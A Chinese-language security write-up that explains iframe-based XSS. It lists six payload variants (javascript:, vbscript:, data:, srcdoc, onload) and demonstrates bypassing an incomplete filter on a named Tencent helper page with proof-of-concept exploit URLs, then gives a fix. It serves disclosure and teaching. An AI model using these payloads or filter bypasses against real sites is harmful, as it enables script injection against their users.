作者:心傷的瘦子
來自:PKAV技術宅社區
網址:http://www.pkav.net
----------------------------------------------------------------------------------
簡要描述:
有時候,輸出還會出現在 <iframe src="[輸出]"></iframe> 。 iframe 的 src屬性本來應該是一個網址,但是iframe之善變,使得它同樣可以執行javascript,而且可以用不同的姿勢來執行。這一類問題,我將其歸爲[路徑可控]問題。當然上面說到的是普通的反射型XSS。有時候程序員會使用javascript來動態的改變iframe的src屬性,譬如:iframeA.src="[可控的url]"; 同樣會導致XSS問題,來看看本例吧~
詳細說明:
1.先來說說iframe的變化。
1.1 最好懂的,onload執行js
<iframe οnlοad="alert(1)"></iframe>
1.2 src 執行javascript代碼
<iframe src="javascript:alert(1)"></iframe>
1.3 IE下vbscript執行代碼
<iframe src="vbscript:msgbox(1)"></iframe>
1.4 Chrome下data協議執行代碼
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
1.5 上面的變體
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
1.6 Chrome下srcdoc屬性
<iframe srcdoc="<script>alert(1)</script>"></iframe>
2. 有興趣的,可以一個一個的去測試上面的效果,注意瀏覽器的特異性哦。
3. 接着我們來看看具體的例子。
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=
4. 我們先開調試工具,看看有沒有可見的輸出。
可以看到,我們參數的aaaaaa被帶入到了<iframe src="這裏"></iframe>。
這樣一來,就滿足了我們的使用條件。
我們試試
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
。。竟然沒反應。我們來看看剛纔的那個地方。
可以看到,src這次沒屬性了,看來騰訊做了什麼過濾。我們繼續搜索下一個toolframe試試。
恩,看來就是這段代碼導致的。
一起看看這段代碼。
function OpenFrame(url) {
if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;
document.getElementById("toolframe").src = url;
}
不難看出,騰訊對 javascript:做出了判斷。
document.getElementById("toolframe").src = url;
這句是導致XSS的一句代碼。而openFrame的url參數則來自於(無關代碼省略):
...
var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);
...
5. 根據我們上面說道的iframe的利用方法,我們不難看出,騰訊的過濾是不完善的。
在IE下,我們可以使用vbscript來執行代碼。 vbscript裏 ' 單引號表示註釋,類似JS裏的//
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
在chrome下,我們可以用data協議來執行JS。
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
6. 就到這裏。
漏洞證明:
見詳細說明
修復方案:
危險的不光是javascript:,
vbscript:, data: 等同樣需要過濾。